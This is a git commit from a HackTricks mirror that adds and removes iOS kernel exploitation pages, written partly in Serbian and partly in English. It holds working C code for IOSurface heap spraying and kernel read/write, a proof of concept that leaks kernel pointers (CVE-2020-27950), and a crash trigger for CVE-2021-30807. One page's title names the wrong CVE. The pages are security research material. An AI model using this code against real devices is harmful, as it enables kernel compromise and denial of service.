maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

Browse Source
This commit is contained in:
Translator 2025-09-26 01:04:33 +00:00
parent 2d80c613b9
commit 2843d10b51
26 changed files with 3042 additions and 1694 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
src/SUMMARY.md
View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

207
src/binary-exploitation/ios-exploiting.md
View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Fizičko korišćenje nakon oslobađanja
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploataciji koristeći ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**.
#### Nivoi tabela stranica u iOS-u
Tabele stranica su organizovane hijerarhijski u tri nivoa:
1. **L1 tabela stranica (Nivo 1)**:
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
* Pokriva **0x1000000000 bajtova** (ili **256 GB**) virtuelne memorije.
2. **L2 tabela stranica (Nivo 2)**:
* Unos ovde predstavlja manju oblast virtuelne memorije, specifično **0x2000000 bajtova** (32 MB).
* L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.
3. **L3 tabela stranica (Nivo 3)**:
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** stranicu memorije.
* L2 unos može ukazivati na L3 tabelu ako je potrebna detaljnija kontrola.
#### Mapiranje virtuelne u fizičku memoriju
* **Direktno mapiranje (Blok mapiranje)**:
* Neki unosi u tabeli stranica direktno **mapiraju opseg virtuelnih adresa** na kontiguitet fizičkih adresa (poput prečice).
* **Pokazivač na tabelu stranica deteta**:
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može ukazivati na **tabelu stranica deteta** na sledećem nivou (npr. L2).
#### Primer: Mapiranje virtuelne adrese
Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**:
1. **L1 tabela**:
* Kernel proverava unos L1 tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, prelazi na tu L2 tabelu.
2. **L2 tabela**:
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja dalje.
3. **L3 tabela**:
* Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne stranice memorije.
#### Primer mapiranja adrese
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, tada:
* Virtuelne adrese od **0x1000000000** do **0x1002000000** mapiraju se na fizičke adrese od **0x800004000** do **0x802004000**.
* Ovo je **blok mapiranje** na L2 nivou.
Alternativno, ako L2 unos ukazuje na L3 tabelu:
* Svaka 4 KB stranica u opsegu virtuelnih adresa **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli.
### Fizičko korišćenje nakon oslobađanja
**Fizičko korišćenje nakon oslobađanja** (UAF) se dešava kada:
1. Proces **alokira** neku memoriju kao **čitljivu i zapisivu**.
2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.
3. Proces **dealokira** (oslobađa) memoriju.
4. Međutim, zbog **greške**, kernel **zaboravlja da ukloni mapiranje** iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
5. Kernel može zatim **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, poput **kernel podataka**.
6. Pošto mapiranje nije uklonjeno, proces može i dalje **čitati i pisati** u ovu fizičku memoriju.
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
### Strategija eksploatacije: Heap Spray
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu **heap spray**:
1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji.
2. Svaki IOSurface objekat sadrži **magičnu vrednost** u jednom od svojih polja, što olakšava identifikaciju.
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata završio na oslobođenoj stranici.
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**.
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Korak-po-korak proces heap spray-a
1. **Spray IOSurface objekata**: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magična vrednost").
2. **Skeniraj oslobođene stranice**: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
3. **Čitaj/Piši kernel memoriju**: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvrše **arbitrarne čitanja i pisanja** u kernel memoriji. Ovo im omogućava:
* Da koriste jedno polje za **čitati bilo koju 32-bitnu vrednost** u kernel memoriji.
* Da koriste drugo polje za **pisanje 64-bitnih vrednosti**, postizajući stabilnu **kernel read/write primitivu**.
Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC za kasnije pretraživanje:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Pretražite **`IOSurface`** objekte na jednoj oslobođenoj fizičkoj stranici:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Postizanje Kernel Read/Write sa IOSurface
Nakon što preuzmemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za **arbitrarne kernel read i write operacije**.
**Ključna Polja u IOSurface**
IOSurface objekat ima dva ključna polja:
1. **Pokazivač na Broj Korišćenja**: Omogućava **32-bitno čitanje**.
2. **Pokazivač na Indeksirani Vremepečat**: Omogućava **64-bitno pisanje**.
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
#### 32-Bitno Kernel Čitanje
Da bismo izvršili čitanje:
1. Prepišite **pokazivač na broj korišćenja** da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.
2. Koristite `get_use_count` metodu da pročitate vrednost na toj adresi.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Da biste izvršili pisanje:
1. Prepišite **pokazivač indeksiranog vremenskog pečata** na ciljanu adresu.
2. Koristite metodu `set_indexed_timestamp` da biste napisali 64-bitnu vrednost.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Pregled Eksploatacije
1. **Pokreni Fizičku Upotrebu-Nakon-Oslobađanja**: Oslobođene stranice su dostupne za ponovnu upotrebu.
2. **Sprej IOSurface Objekata**: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
3. **Identifikuj Pristupačni IOSurface**: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
4. **Zloupotrebi Upotrebu-Nakon-Oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
Sa ovim primitivima, eksploatacija omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).
{{#include ../banners/hacktricks-training.md}}

332
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md Normal file
View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Bag
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ali ukratko:
Svaka Mach poruka koju kernel primi završava se sa **"trailer"**: struktura promenljive dužine sa metadata (seqno, sender token, audit token, context, access control data, labels...). Kernel **uvek rezerviše najveći mogući trailer** (MAX_TRAILER_SIZE) u baferu poruke, ali **inicijalizuje samo neka polja**, i kasnije **odlučuje koja veličina trailera će biti vraćena** na osnovu **opcija za prijem koje kontroliše korisnik**.
Ovo su relevantne strukture trailera:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Zatim, kada se trailer object generiše, samo su neka polja inicijalizovana, a max trailer size je uvek rezervisana:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Na primer, kada se pokuša pročitati mach poruku koristeći `mach_msg()`, poziva se funkcija `ipc_kmsg_add_trailer()` da bi se trailer pripojio poruci. Unutar ove funkcije izračunava se veličina trailera i popunjavaju neka druga polja trailera:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Parametar `option` je pod kontrolom korisnika, pa je **potrebno proslediti vrednost koja prolazi `if` proveru.**
Da bismo prošli ovu proveru, moramo poslati važeći podržani `option`:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Ali, pošto `MACH_RCV_TRAILER_MASK` samo proverava bits, možemo proslediti bilo koju vrednost između `0` i `8` da ne uđemo u `if` statement.
Zatim, nastavljajući sa kodom možete naći:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Ovde možete videti da, ako je `option` veći ili jednak `MACH_RCV_TRAILER_AV` (7), polje **`msgh_ad`** biva inicijalizovano na `0`.
Ako ste primetili, **`msgh_ad`** je i dalje bilo jedino polje trailer-a koje prethodno nije bilo inicijalizovano i koje je moglo sadržati leak iz ranije korišćene memorije.
Dakle, način da se izbegne njegovo inicijalizovanje je da se prosledi `option` vrednost `5` ili `6`, tako da prođe prvi `if` i ne uđe u `if` koji inicijalizuje `msgh_ad`, jer vrednosti `5` i `6` nemaju nikakav tip trailer-a povezan.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **dodaju nekoliko kernel adresa unutar poruke** tako da jedna od njih može biti leaked.
Dodani su komentari radi boljeg razumevanja:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Izvori
- [Post na blogu Synacktiv-a](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

297
src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md Normal file
View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Ranljivost
Imate [odlično objašnjenje ranjivosti ovde](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), ali ukratko:
- Ranjiva putanja koda je **external method #83** od **IOMobileFramebuffer / AppleCLCD** user client-a: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Ova metoda prima parametar koji je kontrolisan od strane korisnika, koji nije ni na koji način proveravan i koji se prosleđuje sledećoj funkciji kao **`scalar0`**.
- Ta metoda prosleđuje u **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, gde se **`scalar0`** (korisnički kontrolisana **32-bitna** vrednost) koristi kao **indeks** u interni **niz pokazivača** bez **bilo kakve provere granica**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
> **Rezultat:** **OOB čitanje pokazivača i type confusion** nad tim nizom. Ako pokazivač nije validan, kernel deref panikuje → **DoS**.
> [!NOTE]
> Ovo je ispravljeno u **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> Početna funkcija za pozivanje `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` je zaštićena entitlements-om **`com.apple.private.allow-explicit-graphics-priority`**. Međutim, **WebKit.WebContent** poseduje ovaj entitlement, pa se može koristiti za okidanje ranjivosti iz sandboxovanog procesa.
## DoS PoC
Sledeći je inicijalni DoS PoC iz originalnog blog posta sa dodatnim komentarima:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
